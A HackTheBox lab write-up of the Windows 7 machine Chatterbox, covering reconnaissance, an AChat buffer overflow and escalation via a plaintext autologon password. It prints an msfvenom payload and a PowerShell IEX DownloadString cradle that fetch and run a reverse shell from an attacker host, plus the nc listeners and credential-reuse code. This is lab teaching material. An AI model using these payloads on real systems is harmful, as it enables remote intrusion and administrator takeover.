Skip to content

Chatterbox Writeup - HackTheBox

Medium Windows
Mohammad Meraj

Independent Security Researcher

Chatterbox is a Windows 7 box where the interesting service is not SMB at all. The chain runs: two non-standard ports that turn out to be AChat, a public buffer overflow in that version, custom shellcode that has to survive a Unicode conversion, and a plaintext autologon password in the registry that turns out to belong to the Administrator account.

Reconnaissance

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
Open $TARGET_IP:135
Open $TARGET_IP:139
Open $TARGET_IP:445
Open $TARGET_IP:9255
Open $TARGET_IP:9256
Open $TARGET_IP:49152
Open $TARGET_IP:49153
Open $TARGET_IP:49154
Open $TARGET_IP:49155
Open $TARGET_IP:49156
Open $TARGET_IP:49157
Explain command
-a $TARGET_IP Address to sweep for open ports across the full range.
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p135,139,445,9255,9256,49152,49153,49154,49155,49156,49157 $TARGET_IP -oA nmap/nmap
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
9255/tcp  open  tcpwrapped
9256/tcp  open  tcpwrapped
49152-49157/tcp open msrpc   Microsoft Windows RPC

Host script results:
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   Computer name: Chatterbox
| smb-security-mode:
|   account_used: guest
|_  message_signing: disabled (dangerous, but default)
Explain command
-sCV Run the default script set and probe service versions.
-T4 Faster timing template, safe against a lab target.
-p135,139,445,9255,... Limit the scan to the ports rustscan already found open.

Windows 7 SP1 with the usual SMB and RPC set, plus 9255 and 9256, which nmap can only call tcpwrapped. Windows 7 makes MS17-010 worth ruling out before anything else, because it would be the shortest path if it landed.

Enumeration

Ruling out SMB

┌──(kali㉿kali)-[~]
└─$ nmap -p445 --script smb-vuln-ms17-010 $TARGET_IP
PORT    STATE SERVICE
445/tcp open  microsoft-ds
Explain command
--script smb-vuln-ms17-010 Check whether the host is missing the EternalBlue patch.

No finding, so the host is patched. A null session lists no shares and the Guest account answers with NT_STATUS_ACCOUNT_DISABLED, which closes SMB entirely. That leaves the two unidentified ports.

Fingerprinting the unknown ports

┌──(kali㉿kali)-[~]
└─$ nmap -p9255,9256 -sCV $TARGET_IP
PORT     STATE SERVICE VERSION
9255/tcp open  http    AChat chat system httpd
|_http-server-header: AChat
9256/tcp open  achat   AChat chat system

AChat, a small Windows LAN chat application. Niche desktop software on a lab box usually means a public exploit rather than a hardened service.

Vulnerability Discovery

Known AChat issues

┌──(kali㉿kali)-[~]
└─$ searchsploit AChat
Achat 0.150 beta7 - Remote Buffer Overflow                | windows/remote/36025.py
Achat 0.150 beta7 - Remote Buffer Overflow (Metasploit)   | windows/remote/36056.rb

AChat 0.150 beta7 has an unauthenticated stack overflow reachable by sending a crafted message to the chat listener on 9256. The standalone Python proof of concept is the one to use, since it can be pointed at any payload.

Exploitation

Rebuilding the shellcode

The PoC ships shellcode that launches calc.exe, which proves execution and nothing else. Regenerating it with the same encoder settings but a useful command turns it into a foothold. The encoder choice is not cosmetic here: AChat widens the input to Unicode before it reaches the vulnerable code, so ordinary shellcode is destroyed in transit.

┌──(kali㉿kali)-[~]
└─$ msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell -Command (New-Object Net.WebClient).DownloadFile('http://$ATTACKER_IP/Invoke-PowerShellTcp.ps1', 'C:\Windows\Temp\Invoke-PowerShellTcp.ps1'); C:\Windows\Temp\Invoke-PowerShellTcp.ps1" -e x86/unicode_mixed -b '\x00\x80\x81<snip through>\xfe\xff' BufferRegister=EAX -f python
Explain command
-p windows/exec Run a single command on the target rather than staging a Meterpreter.
-e x86/unicode_mixed Encoder that survives the ANSI to Unicode conversion AChat performs.
-b '\x00\x80...\xff' Exclude the null byte and the whole high half of the byte range, which the conversion mangles.
BufferRegister=EAX Register that holds the shellcode address when execution is redirected.

The command downloads the Nishang reverse shell and runs it. On Kali that script is already on disk at /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1, so it only needs the connect back parameters appended and a web server to serve it.

Triggering the overflow

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
$TARGET_IP - - [14/Aug/2026 12:43:32] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -

The request in the web server log is the confirmation that the overflow fired and the payload ran.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49162
Windows PowerShell running as user Alfred on CHATTERBOX

PS C:\Windows\system32> whoami
chatterbox\alfred
Explain command
-l Listen for an incoming connection instead of dialing out.
-v Verbose output so the inbound connection is visible.
-n Skip DNS resolution on the connecting address.
-p $ATTACKER_PORT Local port the reverse shell connects back to.

Foothold as chatterbox\alfred. AChat is a desktop application, so it runs as the logged on user rather than a service account.

Privilege Escalation

Token privileges

PS C:\Users\Guest\Desktop> whoami /priv
Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

No SeImpersonatePrivilege and no SeBackupPrivilege, so the token based routes are out. That leaves stored configuration, which PowerUp checks in bulk. On Kali the script sits at /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1.

Stored credentials

PS C:\Users\Guest\Desktop> Import-Module C:\Programdata\PowerUp.ps1 -Force
PS C:\Users\Guest\Desktop> Invoke-AllChecks
DefaultDomainName    :
DefaultUserName      : Alfred
DefaultPassword      : $ADMINISTRATORS_PASSWORD
Check                : Registry Autologons

UnattendPath : C:\Windows\Panther\Unattend.xml
Check        : Unattended Install Files

Windows stores autologon credentials in cleartext under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, readable by any local user. The entry is labelled Alfred, but the password it holds authenticates as administrator, which is common when autologon settings are reused and never cleaned up.

There is no login prompt to use it on, so the shell builds a credential object in memory and starts a new process with it. Start-Process -Credential performs a full logon through Windows itself, which needs no privilege beyond knowing the password.

$passwd = New-Object System.Security.SecureString
'$ADMINISTRATORS_PASSWORD'.ToCharArray() | ForEach-Object { $passwd.AppendChar($_) }
$creds = New-Object System.Management.Automation.PSCredential("administrator", $passwd)
Start-Process -FilePath "powershell" -ArgumentList "-NoP -NonI -W Hidden -Exec Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://$ATTACKER_IP/Invoke-PowerShellTcp.ps1')" -Credential $creds
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49180
Windows PowerShell running as user Administrator on CHATTERBOX

PS C:\Windows\system32> whoami
chatterbox\administrator

Administrator shell on the second callback. Both contexts are covered.

References